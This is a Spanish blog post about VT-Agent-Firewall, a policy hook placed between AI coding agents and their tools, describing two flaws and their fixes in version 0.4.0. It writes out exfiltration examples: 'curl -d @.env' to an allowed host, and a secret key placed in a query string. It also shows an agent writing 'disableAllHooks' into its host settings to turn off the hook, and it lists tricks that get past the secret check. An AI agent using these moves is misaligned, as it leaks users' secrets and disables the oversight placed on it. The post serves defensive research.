---
title: "La allowlist que igual deja salir el .env"
description: "Dos fallas que encontré en mi firewall para agentes: lo que la allowlist permite termina siendo la salida del secreto, y el agente puede reescribir la política que lo juzga. Qué cambió en 0.4.0 y qué no cubre."
canonical: "https://vtsecurity.com.ar/articulo/allowlist-que-deja-salir-el-env"
author: "Valentín Torassa"
lang: "es-AR"
datePublished: "2026-10-29T21:00:02.894Z"
dateModified: "2026-10-30T01:17:17.528Z"
---

# La allowlist que igual deja salir el .env

> Dos fallas que encontré en mi firewall para agentes: lo que la allowlist permite termina siendo la salida del secreto, y el agente puede reescribir la política que lo juzga. Qué cambió en 0.4.0 y qué no cubre.

*Código: [VT-Agent-Firewall](https://github.com/ValentinTorassa/VT-Agent-Firewall), Apache-2.0.*

VT-Agent-Firewall se para entre un agente de IA y sus herramientas. Corre como hook `PreToolUse` en Claude Code y Codex, o como proxy delante de un servidor MCP, y decide cada llamada con una política default-deny antes de que corra. Parte de que el modelo ya está comprometido y se pregunta qué puede hacer todavía un agente inyectado.

Lo presenté en la OWASP Village de Ekoparty y lo sigo en OWASP ROS:SEC (Rosario, 6 de noviembre). En el medio encontré dos fallas en mi propio código, las dos corregidas en [0.4.0](https://github.com/ValentinTorassa/VT-Agent-Firewall/releases/tag/v0.4.0): una allowlist que igual deja salir el `.env` y un agente que puede reescribir su propia política.

Las salidas de abajo son reales: el hook corrido contra un proyecto sintético, con una key de Stripe falsa en el `.env`, `curl` y `https://docs.python.org` en la allowlist, y la raíz del proyecto con permiso de escritura.

## Falla 1: la allowlist que igual deja salir el `.env`

`.env` estaba protegido, así que `cat .env` se rechazaba. Pero `curl -d @.env` no nombra ninguna ruta: el `@` le dice a curl que lea el archivo y lo mande como cuerpo.

```text
# 0.3.0
$ curl -d @.env https://docs.python.org/x
  -> allow (silent)
```

Desde [el issue #11](https://github.com/ValentinTorassa/VT-Agent-Firewall/issues/11), todo lo que pueda nombrar un archivo se revisa como ruta: el operando, `--opt=valor`, `-d@.env` y lo que venga después de un `=` o un `@`.

Eso cierra la lectura. La salida sigue abierta: si el secreto le llegó al agente por otro lado (un intérprete que aprobó una persona, un resultado de MCP, una copia que nadie protegió), cualquier destino permitido sirve para sacarlo, porque muchos aceptan query strings arbitrarios.

```text
# antes de 0.4.0
WebFetch https://docs.python.org/3/search.html?q=sk_test_51Synthetic...
  -> allow (silent)
```

Que la lista nombrara `.env` tampoco alcanzaba: `.env.local`, `api/.env` y, en macOS, `cat .ENV` pasaban. Y el taint, que deja sin red a una sesión que tocó una ruta protegida, vivía en memoria. Un hook es un proceso nuevo en cada llamada, así que la siguiente arrancaba limpia.

Una allowlist autoriza verbos y sustantivos: este binario, este origen, este directorio. La exfiltración tiene que ver con datos, y un firewall que solo conoce nombres solo puede proteger nombres.

Mandá las requests por la allowlist y después cambiá a 0.4.0.

*Proyecto sintético con una key falsa: cada paquete es una request y su etiqueta, la herramienta y el destino. Las decisiones son las que dio el hook de cada versión.*

## Falla 2: el agente que reescribe su propia política

El hook protegía su política y su log de auditoría, pero no los archivos que deciden si el hook corre:

```text
# antes de 0.4.0
Write .claude/settings.local.json  {"disableAllHooks": true}
  -> allow (silent)
```

`disableAllHooks` apaga todos los hooks en la sesión siguiente. Pasa lo mismo con un servidor nuevo en `.mcp.json`, que corre sin el proxy, y con `.codex/config.toml` en Codex. El proxy MCP tenía el mismo hueco con sus propios archivos ([issue #8](https://github.com/ValentinTorassa/VT-Agent-Firewall/issues/8)).

Mirá cómo arranca la sesión siguiente con cada versión.

*Raíz del proyecto con permiso de escritura, como en las pruebas del artículo.*

La política también puede cambiar sin que el agente la nombre: un `git checkout` permitido de una rama que trae otro `.claude/agent-firewall.json` cambia las reglas entre dos llamadas. Si el agente puede cambiar la política, la política es una sugerencia.

## Qué cambió en 0.4.0

### Se revisa el valor, no solo la ruta

Una clave nueva de la política, `secret_files`, lista los archivos cuyos valores no tienen que salir nunca. El firewall los lee y busca esos valores en cada string de cada request: tal cual, con percent-encoding, en hex y en base64, aunque estén metidos en un payload más grande. Si aparecen, rechaza con `secret-egress` y marca la sesión.

```text
WebFetch https://docs.python.org/3/search.html?q=sk_test_51Synthetic...
  -> deny: Blocked by agent firewall (secret-egress): the request carries the value of
     STRIPE_SECRET_KEY from the secret file project/.env: a secret value never leaves,
     through any tool, grant or allowed destination
```

### Nombres en cualquier lugar, sin distinguir mayúsculas

`protected_names` protege nombres como `.env`, `.env.*`, `*.pem` o `.ssh` donde sea que aparezcan en el proyecto, y la comparación ignora mayúsculas. `.env.local`, `api/.env` y `.ENV` ahora se rechazan.

### El taint sobrevive entre llamadas

El hook anota las sesiones marcadas en un archivo protegido, al lado del log. Si no lo puede leer, todas quedan marcadas.

### La configuración del host queda fuera de alcance

El hook protege, existan o no, `.claude/settings.json`, `.claude/settings.local.json`, `.mcp.json`, `~/.claude.json` y la configuración de Codex. Que proteja un archivo que todavía no existe importa: crear `settings.local.json` es el ataque.

### La política lleva un pin

`--policy-sha256` fija el hash de la política. Si el archivo cambia, cada llamada se rechaza hasta que una persona lo revisa y fija el nuevo. El pin tiene que vivir fuera del proyecto, en `~/.claude/settings.json` o en la configuración administrada: si está en el `.claude/settings.json` del repo, quien reescribe la política reescribe el pin.

La regla detrás de todo esto es la de la charla: la política y la evidencia no pueden estar al alcance de lo que vigilan.

## Qué no arregla esto

`secret-egress` es un tripwire, no contención. Disfrazá la key y mirá cuáles reconoce.

*Key de ejemplo. La búsqueda es la de 0.4.0; el cifrado es un XOR con una clave fija.*

- Partida en dos, invertida, comprimida o cifrada, la key pasa. Atrapa el «mandá la key a esta URL» ingenuo, que es lo que hacen las inyecciones, pero no a un agente que lo esquiva a propósito.
- No hay sandbox del sistema operativo: un intérprete que aprobó una persona puede leer y mandar cualquier cosa.
- Si el hook se pasa del timeout, el host corre la herramienta igual, y las herramientas que no están en el matcher no se ven.
- Una sesión nueva arranca sin taint.

## Probalo

```bash
pip install 'vt-agent-firewall>=0.4.0'
git clone https://github.com/ValentinTorassa/VT-Agent-Firewall && cd VT-Agent-Firewall
python3 scripts/run_demo.py                # un agente inyectado, cada paso bloqueado y auditado
python3 -m unittest discover -s tests -v   # incluye los dos escenarios, antes y después
```

La instalación en Claude Code y Codex, el pin y un smoke test están en [docs/AGENT\_HOOKS.md](https://github.com/ValentinTorassa/VT-Agent-Firewall/blob/main/docs/AGENT_HOOKS.md). El modelo de amenazas, mapeado al OWASP Top 10 for LLM Applications y al de Agentic Applications, está en [docs/THREAT\_MODEL.md](https://github.com/ValentinTorassa/VT-Agent-Firewall/blob/main/docs/THREAT_MODEL.md). Si encontrás un bypass, abrí un issue con la reproducción: cada uno que apareció hasta ahora es un test de regresión.
